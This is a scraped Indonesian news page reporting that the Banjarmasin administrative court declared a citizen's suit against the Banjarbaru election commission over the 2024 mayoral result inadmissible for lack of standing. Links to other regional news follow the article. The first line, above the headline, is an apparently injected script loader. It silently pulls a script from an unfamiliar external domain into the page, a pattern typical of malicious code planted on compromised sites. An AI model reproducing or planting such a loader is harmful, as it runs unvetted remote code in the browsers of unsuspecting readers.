(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata Usaha Negara (PTUN) Banjarmasin terkait sengketa penetapan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024, Selasa (24/12/2024) siang.

Laporan gugatan didaftarkan pada 9 Desember 2024 lalu, dengan penggugat bernama  Muhammad Supian Noor SH dan tergugat adalah KPU Kota Banjarbaru.

Ketua KPU Banjarbaru Dahtiar nampak datang bersama jajaran komisioner lain seperti Hereyanto dan Resty Fatma Sari didampingi kuasa hukum.

Baca juga: Taman Van der Pijl Dibuka Setelah Pergantian Tahun

Usai memasuki ruang sidang, sidang dengan nomor perkara 9/G/2024/PT.TUN.BJM yang diagendakan Selasa (24/12/2024) siang, kandas di tengah jalan, sebab gugatan ditolak oleh majelis hakim.

“Berdasarkan hasil sidang pemeriksaan pendahuluan dan kemudian dilanjutkan dengan majelis hakim yang menyatakan bahwa gugatan dari Supian Noor dinyatakan tidak dapat diterima atau NO atau Niet Ontvankelijk Verklaard,” ujar Agus Amri, kuasa hukum KPU Kota Banjarbaru.

Kuasa hukum KPU Banjarbaru menjelaskan, dari putusan hakim itu diambil dengan pertimbangan bahwa penggugat tidak memiki kedudukan hukum atau legal standing.

Baca juga: Dukung Program Ketahanan Pangan, Kapolda Kalsel Tinjau Kesiapan Lahan 120 Hektare di Kabupaten Banjar

“Karena yang bersangkutan atau penggugat bukan merupakan pasangan calon yang dirugikan secara langsung akibat dari diskualifikasi tersebut,” jelas dia.

Menurut kuasa hukum, putusan majelis hakim PTUN Banjarmasin ini sifatnya sudah final berdasarkan Undang-Undang Pemilu dan Pilkada sehingga tidak ada upaya hukum atas keputusan itu.

“Karena sudah final, maka keputusan hakim kita apresiasi yang memang sudah sama-sama kita dengarkan tadi. Pada intinya KPU Banjarbaru menghormati proses hukum yang sedang berjalan dan tentu kita sama-sama bertanggung jawab untuk memastikan stabilitas dan kondusifitas Kota Banjarbaru,” jelasnya.

Baca juga: Ini Catatan Akhir Tahun Kejari Banjarmasin Tangani Perkara Sepanjang 2024

Sementara itu, penggugat Muhammad Supian Noor SH mengungkapkan kekecewaan terhadap putusan yang disampaikan majelis hakim hari ini.

“Kita sebagai warga Banjarbaru hanya ingin memperjuangkan hak saja seperti halnya saya lakukan di PTUN,” ujar Muhammad Supian Noor.

PTUN Banjarmasin, katanya, menganggap warga Kota Banjarbaru tidak memiliki hak atau tidak memiliki kepentingan untuk menggugat di PTUN.

Baca juga: Pemkab Lamandau Terima Penghargaan Anugerah Predikat Penilaian Kepatuhan Penyelenggaraan Pelayanan Publik

Majelis hakim beranggapan yang memiliki hak kepentingan untuk menggugat hanyalah pasangan calon yang bersangkutan saja.

“Ini yang menjadi kekecewaan kita, padahal ada dasar hukum yang mengatur bahwa kita sebagai warga negara memiliki hak pilih, ada hak pilih kita yang tidak diindahkan dalam kontistusional kita,” tandas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

37 menit ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

16 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

17 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

20 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.